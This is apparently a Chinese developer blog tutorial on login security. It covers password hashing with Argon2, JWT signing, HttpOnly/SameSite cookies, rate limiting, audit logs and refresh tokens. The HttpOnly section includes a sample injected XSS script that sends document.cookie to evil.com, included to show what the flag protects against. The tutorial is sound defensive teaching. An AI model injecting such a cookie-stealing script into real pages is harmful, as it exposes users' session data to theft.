登录这回事——从明文密码到刷新令牌,我踩过的坑都在这里了
周五下午,你在公司里写代码。
一个 side project,一个小博客,或者一个你心血来潮想做的工具站——反正就是那种"先跑起来再说"的项目。你做到了注册页面,一个用户名输入框,一个密码输入框,一个提交按钮。你在后端写了几行代码,把用户名和密码存进了数据库。测试了一下,能用。
你站起来倒了杯水,觉得这事就算搞定了。
然后你躺在床上刷手机,忽然想到一个问题:我把用户密码直接存进数据库了,这他妈的对吗?
你翻了个身,又想到一个问题:如果数据库被人拖走了怎么办?你又翻了个身:那登录之后,服务器怎么知道我刚才已经登过了?你坐起来了:Cookie 又是什么鬼?JWT 那三段 base64 到底是怎么工作的?
你睡不着了。
这篇文章就是我想对那个周五下午的自己说的话。我不会给你扔一堆 RFC 文档链接,不会用"去中心化令牌鉴权体系"这种鬼话糊弄你。我就用大白话,把登录这件事——从密码怎么存、到登录状态怎么管、到 Cookie 怎么配、到生产环境里那些你不做就会被干穿的安全措施——全部讲清楚。
一、密码:你以为存个 hash 就完事了?
明文密码,等于裸奔
先看一段代码。别看,闭眼想象一下就行:
CREATE TABLE users (
id INT PRIMARY KEY,
username VARCHAR(50),
password VARCHAR(50) -- 明文,你他妈的认真的吗
);
你把这段 SQL 跑上去,用户注册,密码直接存进去。一切正常。然后某天,数据库被拖走了——可能是你代码里有个 SQL 注入没堵,可能是服务器被拿到了 shell,可能是某个第三方服务泄露了备份。不管怎么发生的,结果只有一个:所有用户的密码,现在是公开的了。
用户会在 N 个网站用同一个密码,这是人性,不是你教育他们两句"要用不同的密码"就能改变的事实。你的数据库一泄露,黑客拿这些用户名和密码去撞库——淘宝、微信、银行——你猜会怎样?
卧槽。
所以密码不能明文存。但存什么?
Hash:数字世界的碎纸机
你走进办公室,把一叠 A4 纸塞进碎纸机。按钮一按,出来的是一堆纸条。你根本看不出原来纸上写的是什么。但是——只要你用同一台碎纸机碎同一份文件,出来的纸条永远是一样的。
哈希(Hash),就是这台碎纸机。
"123456" + SHA256 → e150a1ec81e8e93e1eae2c3a77e66ec6dbd6a3b460f89a1b08eecf880ee9a6d8
"123456" + SHA256 → e150a1ec81e8e93e1eae2c3a77e66ec6dbd6a3b460f89a1b08eecf880ee9a6d8
同样的输入,永远输出同样的乱码。反向推导?不可能——就像你不能从一堆纸条重新拼出原始文件。
所以你存 hash 就行了,对吗?用户登录时,把输入的密码用同样的算法算一遍,结果跟数据库里存的对比,对上就放行。
听起来很美。但有一个问题:你和隔壁老王都用了 SHA256,你们的密码又碰巧都是 123456——那你们数据库里的 hash 值,一模一样。黑客看到两个相同的 hash,就知道这两个人的密码是一样的。如果他的彩虹表里恰好有 123456 的 SHA256 值,啪,两个人都被攻破了。
加盐:一人一道菜
你开了一家餐馆。所有人都点"红烧肉",端上来的味道都一样。现在你给每个人上菜时加一点私料——张三的菜里放点辣椒,李四的菜里放点豆豉,王五的菜里放点九层塔。同一道菜,味道完全不同。
盐(Salt),就是这撮私料。
const salt = crypto.randomBytes(16).toString('hex') // 比如 "a3f7b2c9..."
const hash = sha256(password + salt) // 123456 + a3f7b2c9... = 完全不同的乱码
每个人的盐是随机生成的,所以即使密码相同,最后的 hash 也天差地别。黑客想破解?得每个用户单独算一遍——成本不再是 N,而是 N × 每个盐。
但这还不够。因为有些 hash 算法,太快了。
MD5:死于太快
MD5 是上个世纪九十年代的东西了。它的设计目标是"快"——因为当时主要用来校验文件完整性,快是优点。但到了密码存储的场景,快就是死罪。
现在的显卡(3090、4090 之类),一秒能算上百亿次 MD5。黑客搞一个常见密码字典,预先算好所有密码的 MD5 值,这就是"彩虹表"。你的数据库泄露之后,他根本不用现场算——直接查表匹配,几秒钟就跑完了。
MD5 加盐在今天约等于不加密。 别用。谁跟你说 MD5 能用,你就把他拉到这篇文章底下让他读三遍。
-- 这种表结构在 2005 年可能还行,在 2026 年就是找死
CREATE TABLE users (
id INT PRIMARY KEY,
username VARCHAR(50),
password_hash VARCHAR(32), -- MD5
salt VARCHAR(16)
);
bcrypt:故意把锁变慢
bcrypt 的思路,就一个字:慢。
你想象一下,你家大门上装的不是普通锁,而是一个需要你等一秒钟才能打开的锁。对你来说,一秒钟根本无所谓——但如果有个人想挨家挨户撬锁,一秒钟×一千万户房子,他就崩溃了。
bcrypt 就是这样的"故意慢锁"。它有一个参数叫成本因子(cost factor),设为 12 的时候,每次 hash 大约需要 250 毫秒。一个用户注册,等 250 毫秒毫无感觉。但黑客想暴力破解,一秒只能试 4 次,而不是 40 亿次。
const hash = await bcrypt.hash(password, 12)
// 输出格式: $2b$12$盐值(22字符).哈希(31字符)
// 盐值直接嵌在输出里,不用单独存一列
bcrypt 还天然抵抗 GPU——它的算法里有很多内存访问操作,GPU 的并行架构处理这个并不擅长。
但 bcrypt 也有局限。它主要靠时间成本,对 ASIC(专用芯片)的防护有限。而且内存使用相对固定,没法灵活调大。
Argon2:三维防御
2015 年,密码学圈搞了一次竞赛——"密码哈希竞赛"(Password Hashing Competition)。最终,一个叫 Argon2 的算法拿了冠军。它的核心思路是:三个维度同时加大难度,让你没法靠硬件单维度碾压。
| 参数 | 什么意思 | 为什么有用 |
|---|---|---|
| memoryCost | 内存使用量 | GPU 和 ASIC 再强,内存带宽是物理瓶颈 |
| timeCost | 迭代次数 | 多算几遍,时间成本直接翻倍 |
| parallelism | 并行度 | 限制求解时可以同时跑的线程数 |
换句话说,bcrypt 只能让一把锁变慢,Argon2 能把锁、门框、墙体全部加固。
import { hash, verify, argon2id } from 'argon2'
async function hashPassword(password: string): Promise<string> {
return await hash(password, {
type: argon2id, // 混合模式,安全性和性能的最佳平衡
memoryCost: 65536, // 64MB 内存
timeCost: 3, // 迭代 3 次
parallelism: 4, // 4 个线程
hashLength: 32,
})
}
Argon2 有三种模式:
argon2d:最大程度抵抗 GPU,但理论上可能被侧信道攻击(通过功耗分析推断密码)。argon2i:专门抵抗侧信道攻击,但对 GPU 的防护相对弱。argon2id(推荐):前两者的混合体。日常生活用这个就够了——你不是军火商,没人会给你上侧信道。
进化总结
| 算法 | 年代 | 安全理念 | 抗GPU | 抗ASIC | 能调参数 | 推荐? |
|---|---|---|---|---|---|---|
| MD5+盐 | 1990s | 快速哈希 | 无 | 无 | 固定 | 别用 |
| bcrypt | 1999 | 时间成本 | 中等 | 有限 | 时间 | 能用但不最佳 |
| Argon2 | 2015 | 内存+时间 | 强 | 强 | 三维 | 首选 |
生产环境怎么选
新项目:直接用 Argon2,不要犹豫。没有什么"Argon2 太新了不敢用"——它拿了密码哈希竞赛冠军已经十年了,库也足够成熟。
已有 bcrypt 系统:迁移不是必须的,bcrypt 本身没有被破解。但新功能应该用 Argon2。你可以逐步迁移——新用户用 Argon2,老用户登录时重新 hash。
Argon2 不解决什么问题:如果你的用户密码是 123456,天王老子来了也保不住。Argon2 能保护的是"正常强度的密码不会被暴力破解",不是"弱密码变强密码"。
二、JWT:你凭什么说你就是你?
登录之后,后续请求怎么带身份
好了,你学会了怎么存密码。用户注册、登录,你验证密码,放行。然后呢?
用户点了一个按钮,浏览器发了一个新的 HTTP 请求到你的服务器。但 HTTP 是无状态的——这个请求不知道刚才那个请求是谁发的。你需要某种机制,让后续的每一个请求都能证明"我是刚才登过的那个人"。
这就有两条路。
方案一:Session(传统的登录状态管理)
你去一家高档餐厅吃饭。进门时,前台给你一个号牌。你把外套挂在衣帽间,他们给你一个小牌子。你去座位上点菜,服务员问"你是几号?"你报了牌子号码,服务员去系统里查——对,这位客人确实在这里。
这就是 Session。
用户登录 → 服务器生成 Session ID = "abc123" → 返回给浏览器(通常存 Cookie)
后续请求 → 浏览器自动带上 Session ID → 服务器查表:"abc123 对应的是张三,放行"
Session 的优点是简单——服务器端完全控制,想踢人就踢人。缺点也很明显:服务器需要存状态。如果你有十台服务器,用户登录时连的是 A 服务器,下次请求连的是 B 服务器——B 服务器不认识这个 Session ID。你得搞一个共享的 Session 存储(Redis 之类的),这就是额外的运维负担。
方案二:JWT(身份证明自带)
你去火车站坐车,检票员不会给总站打电话问"这个人是谁"。你只需要掏出一张身份证。检票员看一眼——照片对得上,防伪标志在,钢印清晰——OK,放行。
这就是 JWT(JSON Web Token)。
用户登录 → 服务器签发一个 Token → 返回给浏览器
后续请求 → 浏览器带上 Token → 服务器验证签名 → 从 Token 里读用户信息
不需要查表,不需要共享存储。Token 本身就带着用户信息。服务器唯一要做的就是验证"这个 Token 是不是我签的,有没有被人改过"。
JWT 长什么样
一个 JWT 拆成三段,用点号隔开。长这样:
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiIxMjMiLCJuYW1lIjoibWF4In0.d1a2b3c4d5e6f7g8h9i0j1k2l3m4n5o6p7q8r9s0t1u2
↑ Header(头部) ↑ Payload(载荷) ↑ Signature(签名)
Header:记录用哪种算法签名(比如 {"alg": "RS256"})。
Payload:存放用户信息,比如 {"userId": "123", "name": "max"}。
Signature:用密钥对前两段内容做签名。如果 Token 里的任何一个字符被改了,签名就对不上了。
一个很重要的提醒:Payload 不是加密的! 它只是 Base64 编码——Base64 不是加密,是编码。任何人都能解码它。所以你千万别把密码、身份证号、银行卡号这种东西往 JWT 里塞。
HS256 还是 RS256?
JWT 支持两种算法家族:
对称算法(HS256):签名和验证用同一把密钥。就像你家门上的普通锁——同一把钥匙能开也能关。速度快,但在分布式系统里有隐患:每台需要验证 JWT 的服务器都得持有这把密钥,密钥泄露的风险乘以服务器数量。
非对称算法(RS256):签名用私钥(藏在服务端),验证用公钥(随便发)。就像你写字签名——只有你能签,但任何人都可以对着你的笔迹核对。公钥甚至可以硬编码在前端代码里,泄露了也无所谓——它只能验证,不能签名。
生产环境,用 RS256。 别商量。
import { SignJWT, jwtVerify } from 'jose'
// 用私钥签名
const token = await new SignJWT({ userId: '123', name: 'max' })
.setProtectedHeader({ alg: 'RS256' })
.setIssuedAt() // 签发时间
.setExpirationTime('7d') // 7天后过期
.sign(privateKey) // 私钥签名
// 用公钥验证
const { payload } = await jwtVerify(token, publicKey)
// payload = { userId: '123', name: 'max' }
JWT 的三个痛点
JWT 听起来美,但有三个你绕不过去的坑。
痛点一:Token 被偷了怎么办?
Token 存在浏览器里。如果有人通过 XSS 攻击拿到了你的 Token,或者你在咖啡店的公共 WiFi 上被中间人截获了请求——黑客现在就是你了。他可以在 Token 过期之前,以你的身份做任何事情。
而且最重要的是:服务器没法主动让一个 JWT 失效。JWT 是无状态的——服务器不存任何东西,所以没法"撤销"一个 Token。它唯一的失效方式就是自己过期。
怎么办?后面会讲刷新令牌机制。但核心思想就是:别让单个 Token 活太久。
痛点二:Token 越来越大
每次请求你都带着整个 JWT。如果你往 Payload 里塞了一堆东西——用户权限列表、最近浏览记录、头像 URL——那每个 HTTP 请求都会额外膨胀几百字节。一个页面发了 20 个 API 请求?那就膨胀 20 次。
Payload 只存最少的信息:userId 和 name。够了。
痛点三:Token 撤销是伪命题
JWT 的设计理念是"自包含、无状态"。但生产环境里,你几乎总是需要撤销能力——用户改密码了,之前的 Token 必须失效。你的选择是:
- 维护一个黑名单(违背了无状态理念)
- Token 有效期极短 + 刷新机制(这才是正道)
JWT 不解决什么?
- JWT 不解决 XSS 攻击——Payload 在浏览器端是明文可读的;
- JWT 不解决 中间人攻击——你需要 HTTPS;
- JWT 不解决 权限控制——它只证明"你是谁",不决定"你能做什么"。
三、Cookie:Token 怎么传才不会被偷
Cookie vs LocalStorage
你签发了 JWT,现在的问题是:浏览器怎么在后续请求里把它送回来?
方案一:存 Cookie。 浏览器自动在每次请求时带上,你什么都不用做。
方案二:存 LocalStorage。 然后你手动在每次 fetch 时加 Authorization: Bearer xxx 头。
| Cookie | LocalStorage | |
|---|---|---|
| 自动发送 | 是 | 否(需要手动加) |
| JS 可读 | 默认可以 | 默认可以 |
| 防 XSS | 配合 HttpOnly 可防 | 不能防(XSS 脚本直接读) |
| 防 CSRF | 需要配合 SameSite | 天然免疫 |
| 适用场景 | Web 应用首选 | SPA + API 分离 |
两害取其轻——Cookie 配 HttpOnly 后,至少 XSS 读不到你的 Token。CSRF 可以用 SameSite 防。
HttpOnly:钱包放内兜
你去一个人挤人的市场,钱包是放在外套口袋里还是放在衣服内兜里?
放外套口袋:贼手一伸就够着了。放内兜:贼需要先解开你的衣服扣子,这动作太大了。
HttpOnly 就是这个内兜。它是一个 Cookie 属性——设置了之后,浏览器上的 JavaScript 代码完全读不到这个 Cookie。
<!-- 恶意脚本注入了你的页面 -->
<script>
// 尝试读取 Cookie
console.log(document.cookie)
// 如果 auth_token 有 HttpOnly,
// 这行代码只能看到普通 Cookie,看不到 auth_token
fetch('https://evil.com/steal?data=' + document.cookie)
</script>
XSS 脚本偷不到 Token,至少不会让你"既被 XSS,又丢认证"——双层保险。
SameSite:银行柜台只认自家窗口
你在一家咖啡店蹭 WiFi。你刚才登录了自己的网上银行,Cookie 还在浏览器里。你不小心点了一个"免费领取星巴克礼品卡"的链接,这个链接实际上向银行发了一个转账请求。
因为浏览器会自动带上 Cookie,银行看到请求带 Cookie——"哦,这个人已经登录了,放行"——钱就转走了。
这他妈的就是 CSRF(跨站请求伪造)。
SameSite 就是干这个的。它告诉浏览器:只有在什么情况下才带上 Cookie。
| SameSite 值 | 行为 |
|---|---|
strict | 只在自己网站内部发请求时带 Cookie(从外部链接点进来不带) |
lax | 自己的请求 + 从外部链接点进来的 GET 请求都带(POST 不带) |
none | 任何时候都带(需要同时设置 Secure) |
strict 最安全,但体验有坑——用户从微信点你的链接进来,因为没有 Cookie,页面显示"未登录"。他妈的,明明刚才还登着呢。所以很多网站用 lax,折中一下。
完整 Cookie 配置
import { cookies } from 'next/headers'
const cookieStore = await cookies()
cookieStore.set('auth_token', token, {
httpOnly: true, // 防 XSS
secure: process.env.NODE_ENV === 'production', // 生产环境只走 HTTPS
sameSite: 'lax', // 防 CSRF
maxAge: 60 * 60 * 24 * 7, // 7 天
path: '/', // 全站可用
})
三个属性缺一不可:
httpOnly: true→ 没有这个,Token 约等于明文暴露给任何注入的 JS。sameSite: 'lax'→ 没有这个,你登录了银行,点个链接钱就没了。secure: true→ 没有这个,咖啡店的中间人可以直读你的 Cookie。
四、完整流程:从注册到登出
好了,理论知识够了。让我们把这些东西串起来,看一个完整的认证流程。
注册
import { hash, argon2id } from 'argon2'
import { z } from 'zod'
const registerSchema = z.object({
name: z
.string()
.min(2, '用户名至少2个字符')
.max(50)
.regex(/^[a-zA-Z0-9_]+$/, '只能包含字母、数字、下划线'),
password: z
.string()
.min(8, '密码至少8位')
.max(128)
.regex(/[A-Z]/, '必须包含大写字母')
.regex(/[a-z]/, '必须包含小写字母')
.regex(/[0-9]/, '必须包含数字'),
})
async function register(name: string, password: string) {
// 1. 输入验证 —— Zod 在运行时实实在在地检查
const result = registerSchema.safeParse({ name, password })
if (!result.success) {
return { code: -1, message: result.error.errors[0].message }
}
// 2. 查重
const exists = await prisma.user.findFirst({ where: { name } })
if (exists) {
return { code: -1, message: '用户名已被占用' }
}
// 3. Argon2 hash
const hashedPassword = await hash(password, {
type: argon2id,
memoryCost: 65536,
timeCost: 3,
parallelism: 4,
hashLength: 32,
})
// 4. 只存 hash,不存明文
await prisma.user.create({
data: { name, password: hashedPassword },
})
return { code: 0, message: '注册成功' }
}
登录
登录比注册多一步——验证密码之后,要签发 JWT,设置 Cookie。
async function login(name: string, password: string) {
// 1. 找用户
const user = await prisma.user.findFirst({ where: { name } })
if (!user) {
// 注意:不要区分"用户不存在"还是"密码错误"
return { code: -1, message: '用户名或密码错误' }
}
// 2. 验证密码 —— Argon2 的 verify 自动处理盐值
const isValid = await verify(user.password, password)
if (!isValid) {
return { code: -1, message: '用户名或密码错误' }
}
// 3. 签发 JWT
const token = await new SignJWT({
userId: user.id,
name: user.name,
})
.setProtectedHeader({ alg: 'RS256' })
.setExpirationTime('7d')
.sign(privateKey)
// 4. 设置 Cookie
const cookieStore = await cookies()
cookieStore.set('auth_token', token, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'lax',
maxAge: 60 * 60 * 24 * 7,
path: '/',
})
return { code: 0, message: '登录成功' }
}
为什么错误信息要写成"用户名或密码错误"而不是分开提示?
因为如果分开提示——"用户名不存在"vs"密码错误"——黑客就能通过尝试不同用户名来探测哪些用户名已经注册。这叫用户枚举攻击。一旦拿到了有效用户名列表,下一步就是针对性地尝试密码。所以错误信息要模糊,不给攻击者提供任何额外信息。
检查当前用户
async function getCurrentUser() {
const cookieStore = await cookies()
const token = cookieStore.get('auth_token')?.value
if (!token) return null
try {
const { payload } = await jwtVerify(token, publicKey)
return payload // { userId, name }
} catch {
return null // Token 过期或被篡改
}
}
登出
JWT 的无状态特性在这里有个小尴尬:登出只需要删除 Cookie 就够了——但 Token 本身还"活着"。如果有人在你登出之前截获了 Token,在它过期之前他还是能用。
async function logout() {
const cookieStore = await cookies()
cookieStore.delete('auth_token')
// Token 在服务器端还"有效",但浏览器不会再发送它了
}
这个问题——"登出后 Token 还能用"——正是我们需要刷新令牌机制的原因之一。
五、Next.js 15 的一个坑:Server Actions 不能导出类
Next.js 15 的 Server Actions 有个限制:'use server' 文件只能导出普通函数,不能导出类或类的实例。
这并不意味着你要放弃面向对象。你可以在内部用类组织逻辑,对外暴露函数:
// lib/auth-service.ts —— 内部实现,面向对象
class AuthService {
async register(name: string, password: string) {
/* ... */
}
async login(name: string, password: string) {
/* ... */
}
async logout() {
/* ... */
}
async getCurrentUser() {
/* ... */
}
}
// lib/auth-actions.ts —— 对外暴露,函数式
import { AuthService } from './auth-service'
const authService = new AuthService()
export async function register(formData: FormData) {
const name = formData.get('name') as string
const password = formData.get('password') as string
return await authService.register(name, password)
}
export async function login(formData: FormData) {
const name = formData.get('name') as string
const password = formData.get('password') as string
return await authService.login(name, password)
}
export async function logout() {
return await authService.logout()
}
这个模式的好处:内部逻辑组织清晰、单元测试方便、业务逻辑可复用。对外则是干净的函数式 API,完全符合 Next.js 的规范。
六、前端:用 Hook 管住状态
在客户端,你需要知道"当前用户是登录还是没登录"。一个自定义 Hook 就够了:
function useAuth() {
const [user, setUser] = useState<User | null>(null)
const [loading, setLoading] = useState(true)
const checkAuth = useCallback(async () => {
setLoading(true)
try {
const userData = await fetchCurrentUser()
setUser(userData)
} catch {
setUser(null)
} finally {
setLoading(false)
}
}, [])
useEffect(() => {
checkAuth()
}, [checkAuth])
return {
user,
loading,
isAuthenticated: user !== null,
refresh: checkAuth,
}
}
在页面里用:
function DashboardPage() {
const { user, loading, isAuthenticated, refresh } = useAuth()
if (loading) return <div>加载中...</div>
if (!isAuthenticated) return <div>请先登录</div>
return (
<div>
<h1>欢迎回来,{user.name}</h1>
<button
onClick={async () => {
await logout()
refresh()
}}
>
退出登录
</button>
</div>
)
}
七、别只存密码和发 Token——打上三层补丁
速率限制:夜店保安
你去一个夜店,门口一个大哥拦住你:"今晚最多试三张身份证,三张都不对,你就在外面等一小时。"
速率限制就是这个大门保安。防止有人用脚本暴力尝试密码。
import { RateLimiter } from 'rate-limiter-flexible'
// 按 IP 限制
const ipLimiter = new RateLimiter({
points: 10, // 10 次尝试
duration: 60, // 60 秒内
blockDuration: 300, // 超过了封 5 分钟
})
// 按用户名限制——防止一个人用字典攻击锁定某个账户
const usernameLimiter = new RateLimiter({
points: 5, // 5 次尝试
duration: 900, // 15 分钟内
blockDuration: 900,
})
async function login(ip: string, name: string, password: string) {
try {
await ipLimiter.consume(ip)
} catch {
return { code: -1, message: '操作过于频繁,请稍后再试' }
}
try {
await usernameLimiter.consume(name)
} catch {
return { code: -1, message: '该账户尝试过多,请15分钟后再试' }
}
// ... 正常登录逻辑
}
审计日志:监控摄像头
你在商场里,头顶全是摄像头。你没犯事的时候它们只是安静地录着。万一有事情,调监控就能看到整个过程。
审计日志就是这些摄像头。
async function createAuditLog(action: string, metadata: Record<string, any>, userId?: string) {
await prisma.auditLog.create({
data: {
action, // 'LOGIN_SUCCESS' / 'LOGIN_FAILED' / 'REGISTER'
userId,
metadata, // { reason: 'wrong_password', ip: '...' }
ipAddress: getClientIP(),
userAgent: getUserAgent(),
},
})
}
// 登录时记录
async function login(name: string, password: string) {
// ... 验证逻辑 ...
if (!user) {
await createAuditLog('LOGIN_FAILED', { reason: 'user_not_found' })
return { code: -1, message: '用户名或密码错误' }
}
if (!isValid) {
await createAuditLog('LOGIN_FAILED', { reason: 'wrong_password', userId: user.id })
return { code: -1, message: '用户名或密码错误' }
}
await createAuditLog('LOGIN_SUCCESS', { userId: user.id })
// ...
}
审计日志有两个原则:
- 记录失败的尝试时,尽量详细(哪个 IP、什么原因、几点几分)。
- 审计日志本身失败了,不要影响业务流程——日志是辅助,不是阻断。
输入验证:安检门
在你注册页面的输入框里,有人输入了一段 SQL 语句怎么办?有人输入了 <script>alert(1)</script> 怎么办?有人输入了一个 2MB 长的用户名字段怎么办?
Zod 在服务端做输入验证就是你的安检门——不管你前端有没有验证,后端必须再验证一遍。因为前端验证可以被绕过——curl 一个 POST 请求过去,你前端的所有 form validation 都形同虚设。
const loginSchema = z.object({
name: z.string().min(1).max(50),
password: z.string().min(6).max(100),
})
// 在 login 函数里,第一件事就做这个
const result = loginSchema.safeParse({ name, password })
if (!result.success) {
return { code: -1, message: result.error.errors[0].message }
}
八、刷新令牌:解决 JWT 的核心矛盾
那个让你失眠的矛盾
回到 JWT 的最大痛点。
Token 有效期太长 → 被盗后的攻击窗口太大,等于给黑客开了一个长假期。
Token 有效期太短 → 用户每隔 15 分钟就要重新输密码登录,体验就是一坨屎。
怎么破?
回答:两个 Token,各司其职
你去健身房办了一张会员卡。这张卡分两个部分:
- 入场手环(短期,15 分钟有效):进闸机用。丢了?没关系,15 分钟后自动失效。
- 续费卡(长期,7 天有效):手环快过期的时候,你拿续费卡去前台刷一下,换个新手环。不丢人,无感操作。
在认证系统里:
- Access Token = 入场手环。有效期 15 分钟。用于每次 API 请求的身份验证。丢了就丢了,攻击窗口只有 15 分钟。
- Refresh Token = 续费卡。有效期 7 天。只在刷新 Access Token 的时候使用,平常不用,暴露风险极低。丢了?你可以随时去系统里撤销它。
用户操作流程:
1. 登录 → 服务器发给你 Access Token + Refresh Token
2. 正常用 → 拿着 Access Token 到处用
3. Access 快过期 → 自动拿 Refresh Token 换一个新的 Access Token
4. Refresh 也过期 → 重新登录吧,太久没来了
5. 登出 → 服务器把 Refresh Token 标记为撤销
三种实现方案的权衡
方案一:有状态(存库)
把 Refresh Token 完整存进数据库。好处是控制力强——随时能撤销、能查设备列表、能记录日志。坏处是需要数据库存储,而且每次刷新都要查库。
方案二:无状态(纯 JWT)
Refresh Token 本身就是 JWT。好处是零数据库依赖,完全无状态。坏处是没法主动撤销——Token 一旦发出去,在过期之前它就是有效的。用户改密码了?之前的 Refresh Token 还能用,你想想这有多恐怖。
方案三:混合方案(只存元数据) —— 这才是正确答案
Refresh Token 仍然是 JWT,但你在数据库里只存它的唯一标识(jti)和状态(是否被撤销)。不存完整的 Token。这样保持了大部分无状态特性,同时获得了撤销能力。
model RefreshTokenMetadata {
id String @id @default(cuid())
jti String @unique // JWT 里的唯一 ID
userId String
expiresAt DateTime
revoked Boolean @default(false) // 可以随时设为 true 来撤销
@@index([userId])
}
完整实现
签发 Access Token + Refresh Token
// Access Token: 15 分钟有效期
async function generateAccessToken(userId: string, name: string) {
return await new SignJWT({ userId, name, type: 'access' })
.setProtectedHeader({ alg: 'RS256' })
.setIssuedAt()
.setExpirationTime('15m')
.sign(accessTokenPrivateKey)
}
// Refresh Token: 7 天有效期,附带 jti
async function generateRefreshToken(userId: string) {
const jti = crypto.randomUUID()
const expiresAt = new Date(Date.now() + 7 * 24 * 60 * 60 * 1000)
// 只存元数据
await prisma.refreshTokenMetadata.create({
data: { jti, userId, expiresAt },
})
return await new SignJWT({ userId, jti, type: 'refresh' })
.setProtectedHeader({ alg: 'RS256' })
.setIssuedAt()
.setExpirationTime('7d')
.setJti(jti)
.sign(refreshTokenPrivateKey)
}
验证 Refresh Token
async function verifyRefreshToken(token: string) {
try {
// 1. 验证 JWT 签名和过期时间
const { payload } = await jwtVerify(token, refreshTokenPublicKey)
// 2. 查数据库——这个 jti 有没有被撤销
const metadata = await prisma.refreshTokenMetadata.findUnique({
where: { jti: payload.jti as string },
})
if (!metadata || metadata.revoked) return { valid: false }
if (metadata.expiresAt < new Date()) return { valid: false }
return { valid: true, userId: payload.userId as string }
} catch {
return { valid: false }
}
}
刷新 Access Token
async function refreshAccessToken() {
const cookieStore = await cookies()
const refreshToken = cookieStore.get('refresh_token')?.value
if (!refreshToken) return { success: false }
const { valid, userId } = await verifyRefreshToken(refreshToken)
if (!valid || !userId) return { success: false }
const user = await prisma.user.findUnique({ where: { id: userId } })
if (!user) return { success: false }
const newAccessToken = await generateAccessToken(user.id, user.name)
cookieStore.set('access_token', newAccessToken, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'lax',
maxAge: 15 * 60,
path: '/',
})
return { success: true }
}
前端自动刷新
用户不用知道 Access Token 过期了。你在 API 客户端里做静默刷新:
class ApiClient {
private isRefreshing = false
async request(url: string, options: RequestInit = {}) {
const headers = { 'Content-Type': 'application/json', ...options.headers }
let response = await fetch(url, { ...options, headers })
// 如果返回 401,自动尝试刷新
if (response.status === 401) {
const refreshOk = await this.silentRefresh()
if (refreshOk) {
// 刷新成功,用新 Token 重试原请求
response = await fetch(url, { ...options, headers })
} else {
// 刷新失败——跳转登录页
window.location.href = '/login'
throw new Error('认证过期')
}
}
if (!response.ok) throw new Error(`请求失败: ${response.status}`)
return response.json()
}
private async silentRefresh(): Promise<boolean> {
if (this.isRefreshing) {
// 已经有请求在刷新了,等它完成
return new Promise((resolve) => setTimeout(() => resolve(this.silentRefresh()), 100))
}
this.isRefreshing = true
try {
const res = await fetch('/api/auth/refresh', { method: 'POST' })
return res.ok
} finally {
this.isRefreshing = false
}
}
}
关键细节:isRefreshing 锁防止多个 401 触发并发刷新——10 个 API 同时返回 401,只有一个会真正发刷新请求,其余的等待。
登出时撤销
async function logout() {
const cookieStore = await cookies()
const refreshToken = cookieStore.get('refresh_token')?.value
if (refreshToken) {
try {
const { payload } = await jwtVerify(refreshToken, refreshTokenPublicKey)
// 在数据库中标记为已撤销
await prisma.refreshTokenMetadata.update({
where: { jti: payload.jti as string },
data: { revoked: true },
})
} catch {
// Token 可能已经过期了,不用管
}
}
cookieStore.delete('access_token')
cookieStore.delete('refresh_token')
}
不同 Path 的 Cookie
一个容易被忽略的细节:Access Token 和 Refresh Token 的 Cookie path 应该是不同的。
// Access Token: path='/' —— 每次 API 请求都发送
cookieStore.set('access_token', accessToken, { path: '/' })
// Refresh Token: path='/api/auth/refresh' —— 只在刷新接口发送
cookieStore.set('refresh_token', refreshToken, {
path: '/api/auth/refresh',
maxAge: 7 * 24 * 60 * 60,
})
为什么?减少 Refresh Token 的暴露面。正常 API 请求只需要 Access Token,不需要带 Refresh Token。你把 Refresh Token 的 path 限制在刷新接口,那它在 99% 的请求里都不会被发送,泄露风险降到最低。
刷新令牌的安全优势总结
| 优势 | 说明 |
|---|---|
| 缩短攻击窗口 | Access Token 只有 15 分钟,黑客能操作的时间很短 |
| 用户体验好 | 用户不知不觉中自动续期,不需要频繁输密码 |
| 可控的撤销 | 随时可以把某个 jti 标记为 revoked |
| 多设备管理 | 每个登录设备独立的 Refresh Token,可以单独踢掉 |
| 快速响应泄露 | 发现异常后,把用户的所有 Refresh Token 全部撤销 |
九、最后的最后:你怎么判断自己的认证系统够不够安全
我不给你总结。总结是别人替你思考的结果。
我给你一套问题。你对着自己现在的系统,一个一个问:
1. 密码存了吗?怎么存的?
- 如果你现在就把数据库 dump 给别人看,他能看到用户的真实密码吗?
- 如果两个用户的密码碰巧一样,数据库里的 hash 值一样吗?
- 你用的 hash 算法是 Argon2 还是 bcrypt?如果是 MD5,你现在就去改。
2. Token 管了吗?
- 你的 Token 过期时间是多久?超过 1 小时?考虑加刷新令牌机制。
- 你的 Token 用的是什么签名算法?HS256?考虑换成 RS256。
- 你的 Token 的 Payload 里放了什么?有没有用户手机号、密码、身份证号?立刻删掉。
3. Cookie 配对了吗?
httpOnly: true设了吗?sameSite: 'lax'或strict设了吗?- 生产环境
secure: true设了吗? - Refresh Token 的 Cookie path 是不是限制在刷新接口?
4. 有人盯着吗?
- 登录失败有没有记录审计日志?
- 你有没有速率限制?(10 次/分钟/用户名 是最基本的)
- 你有没有监控异常——比如某个 IP 在短时间内尝试了 50 个不同的用户名?
5. 如果有人偷到了 Token,你能做什么?
- 你能主动撤销吗?(如果有刷新令牌机制,答案是"能")
- 你能在多长时间内发现?(取决于你的审计日志粒度)
- 你能撤销所有设备吗?(一键踢掉所有登录)
这五个问题没有标准答案。不同的应用,答案不同——银行系统和博客系统的安全要求完全不一样。
但如果你发现自己对其中某个问题完全没有想过——那就打开 IDE,开始补。
安全不是一次性工程。它是一个持续的、跟攻击者赛跑的过程。好的架构让你在面对新威胁时,只需要添加新的防护逻辑,而不是推倒重来。你只需要确保:每一次认证事件都有记录,每一个 Token 都可以被撤销,每一个攻击路径都有人盯着。
剩下的,就是在凌晨两点安心睡觉。
读者来信
暂无来信,期待你的分享。